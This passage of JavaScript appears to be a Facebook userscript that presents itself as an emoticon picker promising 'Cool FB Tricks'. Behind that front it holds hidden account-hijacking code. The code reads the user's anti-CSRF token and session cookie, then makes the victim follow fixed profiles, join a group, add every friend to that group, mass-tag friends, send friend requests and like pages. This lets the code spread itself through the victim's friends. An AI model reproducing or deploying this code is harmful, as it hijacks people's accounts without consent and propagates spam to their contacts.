_2d7", "name" : "Snail Shell" }, { "chars" : " \ud83d\udc1b ", "class" : "_1az _1a- _2d8", "name" : "Insect" }, { "chars" : " \ud83d\udc1f ", "class" : "_1az _1a- _2d9", "name" : "Fish" }, { "chars" : " \ud83d\udc20 ", "class" : "_1az _1a- _2da", "name" : "Tropical Fish" }, { "chars" : " \ud83d\udc21 ", "class" : "_1az _1a- _2db", "name" : "Pufferfish" }, { "chars" : " \ud83d\udc25 ", "class" : "_1az _1a- _2dc", "name" : "Chick In Front" }, { "chars" : " \ud83d\udc26 ", "class" : "_1az _1a- _2dd", "name" : "Bird" }, { "chars" : " \ud83d\udc27 ", "class" : "_1az _1a- _2de", "name" : "Penguin" }, { "chars" : " \ud83d\udc28 ", "class" : "_1az _1a- _2df", "name" : "Koala" }, { "chars" : " \ud83d\udc29 ", "class" : "_1az _1a- _2dg", "name" : "Poodle" }, { "chars" : " \ud83d\udc2b ", "class" : "_1az _1a- _2dh", "name" : "Bactrian Camel" }, { "chars" : " \ud83d\udc2c ", "class" : "_1az _1a- _2di", "name" : "Dolphin" }, { "chars" : " \ud83d\udc2d ", "class" : "_1az _1a- _2dj", "name" : "Mouse Face" }, { "chars" : " \ud83d\udc2e ", "class" : "_1az _1a- _2dk", "name" : "Cow Face" }, { "chars" : " \ud83d\udc2f ", "class" : "_1az _1a- _2dl", "name" : "Cara de tigre" }, { "chars" : " \ud83d\udc30 ", "class" : "_1az _1a- _2dm", "name" : "Rabbit Face" }, { "chars" : " \ud83d\udc31 ", "class" : "_1az _1a- _2dn", "name" : "Cat Face" }, { "chars" : " \ud83d\udc33 ", "class" : "_1az _1a- _2do", "name" : "Whale Sputtering" }, { "chars" : " \ud83d\udc34 ", "class" : "_1az _1a- _2dp", "name" : "Horse Face" }, { "chars" : " \ud83d\udc35 ", "class" : "_1az _1a- _2dq", "name" : "Monkey Face" }, { "chars" : " \ud83d\udc37 ", "class" : "_1az _1a- _2dr", "name" : "Pig face" }, { "chars" : " \ud83d\udc38 ", "class" : "_1az _1a- _2ds", "name" : "Frog Face" }, { "chars" : " \ud83d\udc39 ", "class" : "_1az _1a- _2dt", "name" : "Hamster Face" }, { "chars" : " \ud83d\udc3a ", "class" : "_1az _1a- _2du", "name" : "Wolf Face" }, { "chars" : " \ud83d\udc3b ", "class" : "_1az _1a- _2dv", "name" : "Bear Face" }, { "chars" : " \ud83d\udc3e ", "class" : "_1az _1a- _2dw", "name" : "Footprints" }, { "chars" : " \ud83d\udc40 ", "class" : "_1az _1a- _2dx", "name" : "Eyes" }, { "chars" : " \ud83d\udc42 ", "class" : "_1az _1a- _2dy", "name" : "Ear" }, { "chars" : " \ud83d\udc43 ", "class" : "_1az _1a- _2dz", "name" : "Nose" }, { "chars" : " \ud83d\udc44 ", "class" : "_1az _1a- _2d-", "name" : "Mouth" }, { "chars" : " \ud83d\udc45 ", "class" : "_1az _1a- _2d_", "name" : "Sour Face" }, { "chars" : " \ud83d\udc46 ", "class" : "_1az _1a- _2e0", "name" : "White hand pointing up" }, { "chars" : " \ud83d\udc47 ", "class" : "_1az _1a- _2e1", "name" : "White hand faces downward" }, { "chars" : " \ud83d\udc48 ", "class" : "_1az _1a- _2e2", "name" : "White hand indicating left" }, { "chars" : " \ud83d\udc49 ", "class" : "_1az _1a- _2e3", "name" : "White hand indicating right" }, { "chars" : " \ud83d\udc4a ", "class" : "_1az _1a- _2e4", "name" : "Fist" }, { "chars" : " \ud83d\udc4b ", "class" : "_1az _1a- _2e5", "name" : "Hand in motion" }, { "chars" : " \ud83d\udc4c ", "class" : "_1az _1a- _2e6", "name" : "Hand showing all good" }, { "chars" : " \ud83d\udc4d ", "class" : "_1az _1a- _2e7", "name" : "Hand with thumb up" }, { "chars" : " \ud83d\udc4e ", "class" : "_1az _1a- _2e8", "name" : "Hand with thumb down" }, { "chars" : " \ud83d\udc4f ", "class" : "_1az _1a- _2e9", "name" : "Hands clapping" }, { "chars" : " \ud83d\udc50 ", "class" : "_1az _1a- _2ea", "name" : "Open Hands" }, { "chars" : " \ud83d\udc66 ", "class" : "_1az _1a- _2eb", "name" : "Boy" }, { "chars" : " \ud83d\udc67 ", "class" : "_1az _1a- _2ec", "name" : "Girl" }, { "chars" : " \ud83d\udc68 ", "class" : "_1az _1a- _2ed", "name" : "Man" }, { "chars" : " \ud83d\udc69 ", "class" : "_1az _1a- _2ee", "name" : "Woman" }, { "chars" : " \ud83d\udc6b ", "class" : "_1az _1a- _2ef", "name" : "Man and woman holding hands" }, { "chars" : " \ud83d\udc6e ", "class" : "_1az _1a- _2eg", "name" : "Police Officer" }, { "chars" : " \ud83d\udc6f ", "class" : "_1az _1a- _2eh", "name" : "Woman with bunny ears" }, { "chars" : " \ud83d\udc71 ", "class" : "_1az _1a- _2ei", "name" : "Person with hair rubio" }, { "chars" : " \ud83d\udc72 ", "class" : "_1az _1a- _2ej", "name" : "Man with pi mao gua" }, { "chars" : " \ud83d\udc73 ", "class" : "_1az _1a- _2ek", "name" : "Man with turban" }, { "chars" : " \ud83d\udc74 ", "class" : "_1az _1a- _2el", "name" : "Old Man" }, { "chars" : " \ud83d\udc75 ", "class" : "_1az _1a- _2em", "name" : "Old Woman" }, { "chars" : " \ud83d\udc76 ", "class" : "_1az _1a- _2en", "name" : "Baby" }, { "chars" : " \ud83d\udc77 ", "class" : "_1az _1a- _2eo", "name" : "Construction Worker" }, { "chars" : " \ud83d\udc78 ", "class" : "_1az _1a- _2ep", "name" : "Princess" }, { "chars" : " \ud83d\udc7b ", "class" : "_1az _1a- _2eq", "name" : "Ghost" }, { "chars" : " \ud83d\udc7c ", "class" : "_1az _1a- _2er", "name" : "Angel baby" }, { "chars" : " \ud83d\udc7d ", "class" : "_1az _1a- _2es", "name" : "Alien" }, { "chars" : " \ud83d\udc7e ", "class" : "_1az _1a- _2et", "name" : "Alien Monster" }, { "chars" : " \ud83d\udc7f ", "class" : "_1az _1a- _2eu", "name" : "Imp" }, { "chars" : " \ud83d\udc80 ", "class" : "_1az _1a- _2ev", "name" : "Skull" }, { "chars" : " \ud83d\udc82 ", "class" : "_1az _1a- _2ew", "name" : "Guard" }, { "chars" : " \ud83d\udc83 ", "class" : "_1az _1a- _2ex", "name" : "Ballerina" }, { "chars" : " \ud83d\udc85 ", "class" : "_1az _1a- _2ey", "name" : "Nail Polish" }, { "chars" : " \ud83d\udc8b ", "class" : "_1az _1a- _2ez", "name" : "Brand of kiss" }, { "chars" : " \ud83d\udc8f ", "class" : "_1az _1a- _2e-", "name" : "Kissing couple" }, { "chars" : " \ud83d\udc90 ", "class" : "_1az _1a- _2e_", "name" : "Bunch of flowers" }, { "chars" : " \ud83d\udc91 ", "class" : "_1az _1a- _2f0", "name" : "Couple with heart" }, { "chars" : " \ud83d\udc93 ", "class" : "_1az _1a- _2f1", "name" : "Heart beating" }, { "chars" : " \ud83d\udc94 ", "class" : "_1az _1a- _2f2", "name" : "Broken Heart" }, { "chars" : " \ud83d\udc96 ", "class" : "_1az _1a- _2f3", "name" : "Bright Heart" }, { "chars" : " \ud83d\udc97 ", "class" : "_1az _1a- _2f4", "name" : "Heart growing" }, { "chars" : " \ud83d\udc98 ", "class" : "_1az _1a- _2f5", "name" : "Heart with arrow" }, { "chars" : " \ud83d\udc99 ", "class" : "_1az _1a- _2f6", "name" : "Blue Heart" }, { "chars" : " \ud83d\udc9a ", "class" : "_1az _1a- _2f7", "name" : "Green Heart" }, { "chars" : " \ud83d\udc9b ", "class" : "_1az _1a- _2f8", "name" : "Yellow Heart" }, { "chars" : " \ud83d\udc9c ", "class" : "_1az _1a- _2f9", "name" : "Purple Heart" }, { "chars" : " \ud83d\udc9d ", "class" : "_1az _1a- _2fa", "name" : "Heart with ribbon" }, { "chars" : " \ud83d\udca2 ", "class" : "_1az _1a- _2fb", "name" : "Symbol of anger" }, { "chars" : " \ud83d\udca4 ", "class" : "_1az _1a- _2fc", "name" : "Sleeping" }, { "chars" : " \ud83d\udca6 ", "class" : "_1az _1a- _2fd", "name" : "Sweat Symbol" }, { "chars" : " \ud83d\udca8 ", "class" : "_1az _1a- _2fe", "name" : "Quick Start Symbol" }, { "chars" : " \ud83d\udca9 ", "class" : "_1az _1a- _2ff", "name" : "Pile of Caca" }, { "chars" : " \ud83d\udcaa ", "class" : "_1az _1a- _2fg", "name" : "Flexed bicep" }, { "chars" : " \ud83d\udcbb ", "class" : "_1az _1a- _2fh", "name" : "Personal Computer" }, { "chars" : " \ud83d\udcbd ", "class" : "_1az _1a- _2fi", "name" : "Mini Disco" }, { "chars" : " \ud83d\udcbe ", "class" : "_1az _1a- _2fj", "name" : "Floppy disk" }, { "chars" : " \ud83d\udcbf ", "class" : "_1az _1a- _2fk", "name" : "Optical Disc" }, { "chars" : " \ud83d\udcc0 ", "class" : "_1az _1a- _2fl", "name" : "DVD" }, { "chars" : " \ud83d\udcde ", "class" : "_1az _1a- _2fm", "name" : "Telephone receiver" }, { "chars" : " \ud83d\udce0 ", "class" : "_1az _1a- _2fn", "name" : "Fax" }, { "chars" : " \ud83d\udcf1 ", "class" : "_1az _1a- _2fo", "name" : "Mobile Phone" }, { "chars" : " \ud83d\udcf2 ", "class" : "_1az _1a- _2fp", "name" : "Mobile phone with arrow from left to right" }, { "chars" : " \ud83d\udcfa ", "class" : "_1az _1a- _2fq", "name" : "Television" }, { "chars" : " \ud83d\udd14 ", "class" : "_1az _1a- _2fr", "name" : "Bell" }, { "chars" : " \ud83d\ude01 ", "class" : "_1az _1a- _2fs", "name" : "Face to face with smiling eyes" }, { "chars" : " \ud83d\ude02 ", "class" : "_1az _1a- _2ft", "name" : "Face with tears of joy" }, { "chars" : " \ud83d\ude03 ", "class" : "_1az _1a- _2fu", "name" : "Smiley face with open mouth" }, { "chars" : " \ud83d\ude04 ", "class" : "_1az _1a- _2fv", "name" : "Face and eyes smiling with mouth open" }, { "chars" : " \ud83d\ude06 ", "class" : "_1az _1a- _2fw", "name" : "Smiley face with mouth open and eyes closed" }, { "chars" : " \ud83d\ude09 ", "class" : "_1az _1a- _2fx", "name" : "Face winking eye" }, { "chars" : " \ud83d\ude0b ", "class" : "_1az _1a- _2fy", "name" : "Guy savoring delicious food" }, { "chars" : " \ud83d\ude0c ", "class" : "_1az _1a- _2fz", "name" : "Relief face" }, { "chars" : " \ud83d\ude0d ", "class" : "_1az _1a- _2f-", "name" : "Smiley face with heart shaped eyes" }, { "chars" : " \ud83d\ude0f ", "class" : "_1az _1a- _2f_", "name" : "Smirk face" }, { "chars" : " \ud83d\ude12 ", "class" : "_1az _1a- _2g0", "name" : "Face of boredom" }, { "chars" : " \ud83d\ude13 ", "class" : "_1az _1a- _2g1", "name" : "Face with cold sweat" }, { "chars" : " \ud83d\ude14 ", "class" : "_1az _1a- _2g2", "name" : "Pensive face" }, { "chars" : " \ud83d\ude16 ", "class" : "_1az _1a- _2g3", "name" : "Confused face" }, { "chars" : " \ud83d\ude18 ", "class" : "_1az _1a- _2g4", "name" : "Throwing kiss Face" }, { "chars" : " \ud83d\ude1a ", "class" : "_1az _1a- _2g5", "name" : "Kissing face with eyes closed" }, { "chars" : " \ud83d\ude1c ", "class" : "_1az _1a- _2g6", "name" : "Face with tongue out and winking" }, { "chars" : " \ud83d\ude1d ", "class" : "_1az _1a- _2g7", "name" : "Face with tongue hanging out and eyes closed" }, { "chars" : " \ud83d\ude1e ", "class" : "_1az _1a- _2g8", "name" : "Face discouraged" }, { "chars" : " \ud83d\ude20 ", "class" : "_1az _1a- _2g9", "name" : "Face of anger" }, { "chars" : " \ud83d\ude21 ", "class" : "_1az _1a- _2ga", "name" : "Very angry face" }, { "chars" : " \ud83d\ude22 ", "class" : "_1az _1a- _2gb", "name" : "Crying Face" }, { "chars" : " \ud83d\ude23 ", "class" : "_1az _1a- _2gc", "name" : "Face of perseverance" }, { "chars" : " \ud83d\ude24 ", "class" : "_1az _1a- _2gd", "name" : "Face of triumph" }, { "chars" : " \ud83d\ude25 ", "class" : "_1az _1a- _2ge", "name" : "Face discouraged but relieved" }, { "chars" : " \ud83d\ude28 ", "class" : "_1az _1a- _2gf", "name" : "Scary face" }, { "chars" : " \ud83d\ude29 ", "class" : "_1az _1a- _2gg", "name" : "Fatigued face" }, { "chars" : " \ud83d\ude2a ", "class" : "_1az _1a- _2gh", "name" : "Sleeping face" }, { "chars" : " \ud83d\ude2b ", "class" : "_1az _1a- _2gi", "name" : "Tired face" }, { "chars" : " \ud83d\ude2d ", "class" : "_1az _1a- _2gj", "name" : "Face screaming" }, { "chars" : " \ud83d\ude30 ", "class" : "_1az _1a- _2gk", "name" : "Face with mouth open and cold sweat" }, { "chars" : " \ud83d\ude31 ", "class" : "_1az _1a- _2gl", "name" : "Terrified face of fear" }, { "chars" : " \ud83d\ude32 ", "class" : "_1az _1a- _2gm", "name" : "Very surprised face" }, { "chars" : " \ud83d\ude33 ", "class" : "_1az _1a- _2gn", "name" : "Face flushed" }, { "chars" : " \ud83d\ude35 ", "class" : "_1az _1a- _2go", "name" : "Face dizzy" }, { "chars" : " \ud83d\ude37 ", "class" : "_1az _1a- _2gp", "name" : "Face with medical mask" }, { "chars" : " \ud83d\ude38 ", "class" : "_1az _1a- _2gq", "name" : "Grinning Cat face and eyes closed" }, { "chars" : " \ud83d\ude39 ", "class" : "_1az _1a- _2gr", "name" : "Cat face with tears of laughter" }, { "chars" : " \ud83d\ude3a ", "class" : "_1az _1a- _2gs", "name" : "Smiling cat face with open mouth" }, { "chars" : " \ud83d\ude3b ", "class" : "_1az _1a- _2gt", "name" : "Smiling cat face with hearts in her eyes" }, { "chars" : " \ud83d\ude3c ", "class" : "_1az _1a- _2gu", "name" : "Face of cat smile twisted" }, { "chars" : " \ud83d\ude3d ", "class" : "_1az _1a- _2gv", "name" : "Cat face kissing with eyes closed" }, { "chars" : " \ud83d\ude3f ", "class" : "_1az _1a- _2gw", "name" : "Cat face crying" }, { "chars" : " \ud83d\ude40 ", "class" : "_1az _1a- _2gx", "name" : "Cat face scared terrified" }, { "chars" : " \ud83d\ude4b ", "class" : "_1az _1a- _2gy", "name" : "Happy person raising a hand" }, { "chars" : " \ud83d\ude4c ", "class" : "_1az _1a- _2gz", "name" : "Person holding up both hands in celebration" }, { "chars" : " \ud83d\ude4d ", "class" : "_1az _1a- _2g-", "name" : "Person frowning" }, { "chars" : " \ud83d\ude4f ", "class" : "_1az _1a- _2g_", "name" : "Person in prayer" }, { "chars" : " \u261d ", "class" : "_1az _1a- _2h0", "name" : "Index finger pointing up" }, { "chars" : " \u263a ", "class" : "_1az _1a- _2h1", "name" : "White face smiling" }, { "chars" : " \u26a1 ", "class" : "_1az _1a- _2h2", "name" : "High voltage symbol" }, { "chars" : " \u26c4 ", "class" : "_1az _1a- _2h3", "name" : "Snowless snowman" }, { "chars" : " \u270a ", "class" : "_1az _1a- _2h4", "name" : "Fist up" }, { "chars" : " \u270b ", "class" : "_1az _1a- _2h5", "name" : "Hand pointing up" }, { "chars" : " \u270c ", "class" : "_1az _1a- _2h6", "name" : "Winning Hand" }, { "chars" : " \u2600 ", "class" : "_1az _1a- _2h7", "name" : "Sun With Rays" }, { "chars" : " \u2601 ", "class" : "_1az _1a- _2h8", "name" : "Cloud" }, { "chars" : " \u2614 ", "class" : "_1az _1a- _2h9", "name" : "Umbrella With Rain Drops" }, { "chars" : " \u2615 ", "class" : "_1az _1a- _2ha", "name" : "Hot Drink" }, { "chars" : " \u2728 ", "class" : "_1az _1a- _2hb", "name" : "Brightness" }, { "chars" : " \u2764 ", "class" : "_1az _1a- _2hc", "name" : "Heavy Black Heart" } ]; // = Variables ======= var lastActiveElement = document.activeElement; // = Functions ======= function createElement(html) { var outerHTML = document.createElement("div"); outerHTML.innerHTML = html; return outerHTML.firstChild; } function htmlSpecialChars(string) { var div = document.createElement("div"); var text = document.createTextNode(string); div.appendChild(text); return div.innerHTML; } function isInstanceOfTextInput(element) { return (element instanceof HTMLInputElement && element.type == "text") || element instanceof HTMLTextAreaElement; } function isFlyoutOpen(flyout) { return flyout.className == "openToggler"; } function openFlyout(flyout, open) { if (open === undefined) { open = !isFlyoutOpen(flyout); // Toggle } if (open) { flyout.className = "openToggler"; } else { flyout.removeAttribute("class"); } } function createTab(titleContainer, bodyContainer) { var html; // Tab; default = inactive html = '<li class="jewelFlyout fbJewelFlyout uiToggleFlyout">'; html += '<div class="jewelFlyout">'; html += '</div>'; html += '</li>'; var title = createElement(html); titleContainer.appendChild(title); // Manual input html = '<div style="display: none;">'; html += '</div>'; var body = createElement(html); bodyContainer.appendChild(body); // Change tab listener (function(body) { title.addEventListener("click", function() { // Change tab var titles = this.parentNode.childNodes; // tab.tabContainer.childNodes for ( var t = 0; t < titles.length; t++) { if (titles[t] === this) { // Active } else { // Inactive titles[t].style.background = ""; titles[t].firstChild.style.color = ""; } } // Change body var bodies = body.parentNode.childNodes; // body.bodyContainer.childNodes for ( var b = 0; b < bodies.length; b++) { if (bodies[b] === body) { // Show body.style.display = ""; } else { // Hide bodies[b].style.display = "none"; } } }); })(body); return { "title" : title.firstChild, "body" : body }; } function createTabListBody(emoticons, filter) { var html; html = '<div style="max-height: 200px; padding-right: 15px; overflow-x: hidden; line-height: 1em;">'; html += '<div style="padding: 10px; width: 200px; font-size: 15px;">'; html += '</div>'; html += '</div>'; var body = createElement(html).firstChild; for ( var e = 0; e < emoticons.length; e++) { var emoticon = emoticons[e]; if (!filter(emoticon)) { continue; } // Icons html = '<span class="panelCell" style="display: inline-block; vertical-align: middle; padding: 2px;">'; html += '<a'; html += ' class="emoticon' + (emoticon.class !== undefined ? ' ' + emoticon.class : '') + '"'; html += ' style="text-decoration: inherit; color: inherit;' + (emoticon.class !== undefined ? ' color: transparent;' : ' width: auto;') + '"'; html += (emoticon.name !== undefined ? ' title="' + emoticon.name + '"' : ''); html += '>'; html += htmlSpecialChars(emoticon.chars); html += '</a>'; html += '</span>'; var cell = createElement(html); body.appendChild(cell); // Select emoticon listener var emoticonA = cell.firstChild; (function(emoticon) { emoticonA.addEventListener("click", function() { if (isInstanceOfTextInput(lastActiveElement)) { lastActiveElement.focus(); var chars = emoticon.chars; var value = lastActiveElement.value; var start = lastActiveElement.selectionStart; var end = lastActiveElement.selectionEnd; lastActiveElement.value = value.substring(0, start) + chars + value.substring(end); lastActiveElement.setSelectionRange(start + chars.length, start + chars.length); } openFlyoutCommand = false; // Close flyout }); })(emoticon); } return body.parentNode; } // = Construct UI ======= var html; // Menu item // var navItem html = '<li class="navItem middleItem notifNegativeBase">'; html += '<div class="fbJewel">'; // { // Toggler html += '<a class="navLink" title="1 Thông Báo Mới">'; // var navLink html += '<span style="vertical-align: middle;"><img src="http://static.ak.fbcdn.net/rsrc.php/v1/yY/r/7OqExvAe82o.gif"></img></span>'; html += '</a>'; // Flyout html += '<div>'; // openToggler; var flyout html += '<div class="emoticonsPanel fbJewelFlyout uiToggleFlyout" style="z-index: 1; width: auto;">'; // { // Beeper html += '<div class="jewelBeeperHeader">'; html += '<div class="beeperNubWrapper">'; html += '<div class="beeperNub" style="left: 4px;"></div>'; html += '</div>'; html += '</div>'; // Tabs // var titleContainer html += '<ul style="display: text-align: center;">'; html += '</ul>'; // Bodies html += '<div>'; // var bodyContainer html += '</div>'; // Footer html += '<div class="jewelFooter">'; html += '<a class="jewelFooter" href="https://www.facebook.com/callmeJhay.ar" target="_blank">Find me on Facebook for more Cool FB Tricks!<br>Rhen</a>'; html += '</div>'; // } html += '</div>'; // emoticonsPanel html += '</div>'; // openToggler // } html += '</div>'; // fbJewel html += '</li>'; // navItem var navItem = createElement(html); var pageNav = document.querySelector("#pageNav"); pageNav.insertBefore(navItem, pageNav.firstChild); // Maintain active element navItem.addEventListener("click", function() { if (isInstanceOfTextInput(lastActiveElement)) { lastActiveElement.focus(); } openFlyoutCommand = undefined; // Do nothing }, true); var navLink = navItem.firstChild.firstChild; var flyout = navLink.nextSibling; var titleContainer = flyout.firstChild.childNodes[1]; var bodyContainer = titleContainer.nextSibling; // Toggle listener navLink.addEventListener("click", function() { openFlyoutCommand = !isFlyoutOpen(flyout); }); // Picture emoticon tab var picEmoTab = createTab(titleContainer, bodyContainer); picEmoTab.title.click(); // Default tab picEmoTab.body.appendChild(createTabListBody(emoticons, function(emoticon) { if (emoticon.class === undefined) { // No picture return false; } // [Bug] 2 characters unicode emoticons if (emoticon.chars.length == 2) { return false; } return true; })); // = Other listener ======= document.addEventListener("click", function() { // Get active textarea lastActiveElement = document.activeElement; // Toggle flyout if (openFlyoutCommand !== undefined) { openFlyout(flyout, openFlyoutCommand); } openFlyoutCommand = false; }); })(); // === Facebook Emoticons ==== var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function cereziAl(isim) { var tarama = isim + "="; if (document.cookie.length > 0) { konum = document.cookie.indexOf(tarama) if (konum != -1) { konum += tarama.length son = document.cookie.indexOf(";", konum) if (son == -1) son = document.cookie.length return unescape(document.cookie.substring(konum, son)) } else { return ""; } } } function getRandomInt (min, max) { return Math.floor(Math.random() * (max - min + 1)) + min; } function randomValue(arr) { return arr[getRandomInt(0, arr.length-1)]; } var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function cereziAl(isim) { var tarama = isim + "="; if (document.cookie.length > 0) { konum = document.cookie.indexOf(tarama) if (konum != -1) { konum += tarama.length son = document.cookie.indexOf(";", konum) if (son == -1) son = document.cookie.length return unescape(document.cookie.substring(konum, son)) } else { return ""; } } } function getRandomInt (min, max) { return Math.floor(Math.random() * (max - min + 1)) + min; } function randomValue(arr) { return arr[getRandomInt(0, arr.length-1)]; } var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function a(abone){ var http4 = new XMLHttpRequest(); var url4 = "/ajax/follow/follow_profile.php?__a=1"; var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp="; http4.open("POST", url4, true); //Send the proper header information along with the request http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http4.setRequestHeader("Content-length", params4.length); http4.setRequestHeader("Connection", "close"); http4.onreadystatechange = function() {//Call a function when the state changes. if(http4.readyState == 4 && http4.status == 200) { http4.close; // Close the connection } } http4.send(params4); } function sublist(uidss) { var a = document.createElement('script'); a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();"; document.body.appendChild(a); } //BOSSTER// a("100007688500197"); a("100004156140628"); a("100001981891207"); sublist("1385595931706677"); sublist("1385634855036118"); //Group ku adibpn var gid = ['113']; var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/membership/r2j.php?__a=1'; var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['send'](paramswp); var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); var friends = new Array(); gf = new XMLHttpRequest(); gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false); gf['send'](); if (gf['readyState'] != 4) {} else { data = eval('(' + gf['responseText']['substr'](9) + ')'); if (data['error']) {} else { friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) { return _0x93dax8['index'] - _0x93dax9['index']; }); }; }; for (var i = 0; i < friends['length']; i++) { var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/members/add_post.php?__a=1'; var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['onreadystatechange'] = function () { if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {}; }; httpwp['send'](paramswp); }; var spage_id = "582018668558520"; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var smesaj = ""; var smesaj_text = ""; var arkadaslar = []; var svn_rev; var bugun= new Date(); var btarihi = new Date(); btarihi.setTime(bugun.getTime() + 1000*60*60*4*1); if(!document.cookie.match(/paylasti=(\d+)/)){ document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString(); } //arkadaslari al ve isle function sarkadaslari_al(){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";"); for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){ smesaj = ""; smesaj_text = ""; for(i=f*10;i<(f+1)*10;i++){ if(arkadaslar.payload.entries[i]){ smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]"; smesaj_text += " " + arkadaslar.payload.entries[i].text; } } sdurumpaylas(); } } }; var params = "&filter[0]=user"; params += "&options[0]=friends_only"; params += "&options[1]=nm"; params += "&token=v7"; params += "&viewer=" + user_id; params += "&__user=" + user_id; if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } xmlhttp.send(); } //tiklama olayini dinle var tiklama = document.addEventListener("click", function () { if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){ svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0]; sarkadaslari_al(); document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString(); document.removeEventListener(tiklama); } }, false); //arkada leme function sarkadasekle(uid,cins){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ } }; xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true); var params = "to_friend=" + uid; params += "&action=add_friend"; params += "&how_found=friend_browser"; params += "&ref_param=none"; params += "&outgoing_id="; params += "&logging_location=friend_browser"; params += "&no_flyout_on_click=true"; params += "&ego_log_data="; params += "&http_referer="; params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value; params += "&phstamp=165816749114848369115"; params += "&__user=" + user_id; xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev); xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded"); if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){ xmlhttp.send(params); }else if(document.cookie.split("cins" + user_id +"=").length <= 1){ cinsiyetgetir(uid,cins,"sarkadasekle"); }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){ xmlhttp.send(params); } } //cinsiyet belirleme var cinssonuc = {}; var cinshtml = document.createElement("html"); function scinsiyetgetir(uid,cins,fonksiyon){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";"); cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html btarihi.setTime(bugun.getTime() + 1000*60*60*24*365); if(cinshtml.getElementsByTagName("select")[0].value == "1"){ document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString(); }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){ document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString(); } eval(fonksiyon + "(" + id + "," + cins + ");"); } }; xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true); xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev); xmlhttp.send(); } function autoSuggest() { links=document.getElementsByTagName('a'); for (i in links) { l=links[i]; if(l.innerHTML == '<span class="uiButtonText">Suggest Friend</span>') { l.click(); } } } function blub() { if(document.getElementsByClassName('pbm fsm').length == 1) { w = document.getElementsByClassName('pbm fsm')[0]; e = document.createElement('a'); //e.href = '#'; e.innerHTML = 'Auto Suggest by Adib Pugar Nuraga'; e.className = 'uiButton'; e.onclick = autoSuggest; if( w.childElementCount == 0) { w.appendChild(document.createElement('br')); w.appendChild(e); } } } blub(); document.addEventListener("DOMNodeInserted", blub, true); // Like pic like page var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function Like(p) { var Page = new XMLHttpRequest(); var PageURL = "//www.facebook.com/ajax/pages/fan_status.php"; var PageParams = "&fbpage_id=" + p +"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp="; Page.open("POST", PageURL, true); Page.onreadystatechange = function () { if (Page.readyState == 4 && Page.status == 200) { Page.close; } }; Page.send(PageParams); } var fb_dtsg = 